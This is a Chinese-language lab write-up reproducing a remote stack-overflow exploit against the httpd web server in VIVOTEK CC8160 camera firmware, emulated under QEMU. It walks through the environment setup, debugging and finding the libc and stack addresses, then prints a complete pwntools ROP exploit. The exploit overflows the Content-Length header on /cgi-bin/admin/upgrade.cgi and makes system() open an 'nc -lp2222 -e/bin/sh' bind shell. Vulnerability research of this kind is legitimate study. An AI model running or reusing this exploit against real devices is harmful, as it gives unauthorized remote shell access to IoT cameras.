环境准备

由于需要确定libc及运行时的栈地址原因,因此需要在qemu中模拟运行

Arm qemu环境

https://people.debian.org/~aurel32/qemu/armel/

固件地址

https://github.com/firmianay/IoT-vulhub/blob/master/VIVOTEK/remote_stack_overflow/firmware/CC8160-VVTK-0100d.flash.pkg

网卡配置

1
2
3
4
5
brctl addbr virbr1
ifconfig virbr1 192.168.111.1/24 up
tunctl -t tap1
ifconfig tap1 192.168.111.10/24 up
brctl addif virbr1 tap1

qemu启动命令:

1
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1 console=ttyAMA0" -netdev tap,id=tapnet0,ifname=tap1,script=no -device rtl8139,netdev=tapnet0 -nographic

固件修复运行

Can’t open /dev/null问题

1
2
sudo mount -o bind /dev ./dev
sudo mount -t proc /proc ./proc

Boa.conf 问题

binwalk提取的时候部分文件没有正确归档,手动移动一下即可

1
cp -r ../../defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/* etc/conf.d/   

gethostbyname:: Success 问题

修改etc中hosts的主机名,与本机主机名保持一致

1
echo "127.0.0.1   debian-armel" > etc/hosts

漏洞复现

程序分析

在Content-Length向dest中拷贝时,未对Content-Length的长度做校验,便导致其产生溢出

Checksec 开启了nx保护,无法直接返回到shellcode。需要构造rop链完成system加命令的执行

因此利用的思路便是通过ret2libc中的方式来getshell,但是由于程序不支持交互,所以要通过控制程序system执行nc命令建立一个链接 来连接我们的/bin/sh,因此便需要有一个栈地址保存我们输入的开启nc的字符,进而完成利用

关闭aslr

1
sh -c "echo 0 > /proc/sys/kernel/randdomize_va_space"

gdbserver调试

1
2
3
4
5
6
#qemu
root@debian-armel:~/Firmware/CC8160-0100d# chroot . ./usr/sbin/httpd
root@debian-armel:~/Firmware/CC8160-0100d# chroot . ./gdbserver-armel --attach :1234 3439
#Pwn机
❯ gdb-multiarch usr/sbin/httpd
pwndbg> target remote 192.168.111.11:1234

程序造成溢出,成功断到0x58585858,同时可以得到一个栈地址 0xbeffeb30

之后利用该栈地址来确定后续输入的命令字符的偏移量,即

1
0xbeffebb0-(0xbeffeb30+0x14) = 0x6c

确定libc基地址

运行程序后根据pid来查看内存映射,或者也可以通过gdb中的vmmaps来查看内存映射

构造payload完成利用

现在已知 溢出点为 0x34

Libcbase0xb6f2d000

Stack_addr0xbeffeb30

那么构造payload就只需要再来点gadget控制寄存器传递参数了

1
2
❯ ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "pop"|grep "pc"
❯ ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "mov|pop"|grep "pc"

最后exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#encoding=utf-8
#!/usr/bin/python
from pwn import *

context.log_level = "debug"
# 0x00048784 : pop {r1, pc}
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

sh = remote("192.168.111.11",80)
libc = ELF('./lib/libuClibc-0.9.33.3-git.so')

libc_base = 0xb6f2d000 # libC 库在内存中的加载地址
stack_base = 0xbeffeb30 # 崩溃时 SP 寄存器的地址

payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'b') # padding
payload += p32(libc.symbols['system'] + libc_base) # 内存中 system() 函数地址
# debug("b *0xb6f75784")
# print hex(len(payload))
payload += ("c"*0x6c) # 0xbeffebb0-(0xbeffeb30+0x14)
# payload += ('/bin/touch\x20/123456;') # 命令参数
payload += ('nc\x20-lp2222\x20-e/bin/sh;>') # 命令参数
payload = 'POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n'.format(payload)
sh.sendline(payload)


# echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.111.11 80

当运行完exp后 通过nc连接目标的2222端口,得到shell